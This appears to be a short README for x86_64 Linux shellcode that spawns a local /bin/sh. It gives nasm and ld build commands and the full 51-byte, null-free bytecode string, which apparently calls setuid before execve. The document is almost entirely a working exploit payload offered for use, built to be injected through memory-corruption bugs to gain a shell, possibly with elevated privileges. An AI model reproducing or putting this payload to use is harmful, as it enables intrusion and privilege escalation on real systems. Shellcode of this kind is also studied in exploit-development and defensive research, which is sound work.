x86_64 Linux Local Shell

64-bit ASM code to locally pop a shell on a Linux machine.

• No null bytes.
• 51 bytes (including null terminator)

Test

nasm -f elf64 -o shellcode.o x64_linux_shell.asm ld shellcode.o -o x64Shellcode_executable ./x64Shellcode_executable

Bytecode

buf = "\xeb\x24\x48\x31\xc0\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\x48\x31\xc9\xb0\x3b\x5f\x48\x8b\x3f\x57\x54\x5f\x88\x4f\x07\x0f\x05\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"